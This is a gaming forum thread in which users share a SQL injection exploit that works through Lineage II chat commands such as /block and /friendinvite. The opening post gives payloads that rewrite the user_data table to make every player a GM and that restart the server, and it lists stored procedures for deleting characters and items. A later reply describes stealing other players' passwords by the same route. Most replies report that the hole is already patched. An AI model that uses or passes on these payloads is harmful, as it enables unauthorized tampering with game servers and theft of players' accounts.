-===New Exploit (Mini SQL Injection)===-

[KarmaLog]

There is a new exploit found.A mini SQL Injection in Lineage's 2 Chat!

 

 

 

:!: :!: **CAUTION,TRY AT YOUR OWN RISK** :!: :!:

 

 

 

In chat type these commands:

 

 

 

 

 

 

 

 

--------------------------

 

Edit by Maxtor:

 

/block 'UPDATE user_data SET builder = 1 WHERE char_id > 0''--

 

(After restart all players will become GMs)

 

/block 'RESTART--

 

--------------------------

 

 

 

If /block doesnt work, try /friendinvite.

 

 

 

 

 

Some Procedures are:

 

lin_DeleteChar

 

lin_DeleteItem

 

lin_DeletePet

 

lin_DeletePledge

 

Lin_EnchantItem

 

lin_GetBuilderAccount

 

LIN_MakeNewBlankItem

 

And many may more!!

 

 

 

Merry Christmas!!

[Deathdemo]

Is this for real?????? :shock:

[2Fast]

OMFG if that works we can by a god's on the serwer ;p

 

 

 

EDIT: Wont work in l2x =[

[Suxor]

already patched and detectable

[Maxtor]

I knew it before it was patched :P

[Simpson]

wtf is that //????????????

 

please tell us

[Deathdemo]

Patched in bnb :cry:

[daKeTo]

Hi, Maxtor, about SQL... its possible to enter in the database of the server and change it ? (by FTP,... show me the way ^^)

[Deathdemo]

Nothing works and by the way where did you find these guys???

[apst]

Someone should check if there are some other commands in chat that work(in bnb server).Artec allready patched /block and said in another forum that he checked the other commands and had no effect...........

[Evil-X]

OMG..

 

 

 

mporeis na deis kai ta ingame pws..

 

 

 

(gia na doulepsei allaxte querrys)

[Sh1mm]

What you doing, guy...

[gostoso]

evil what did u say man? talk in english to make it fair pleass

[Evil-X]

i made a query to see another ppls passwords..

 

u need only account id (using l2logger) account name n right table..

 

 

 

Right commands : /dismiss , /invite , /allyinvite (targeting the victim u want to steal) , /friendelete

 

 

 

P.S I will NOT post it inpublic.

[Pauline]

Merry Christmas!!

 

 

 

(Also patched on FR server)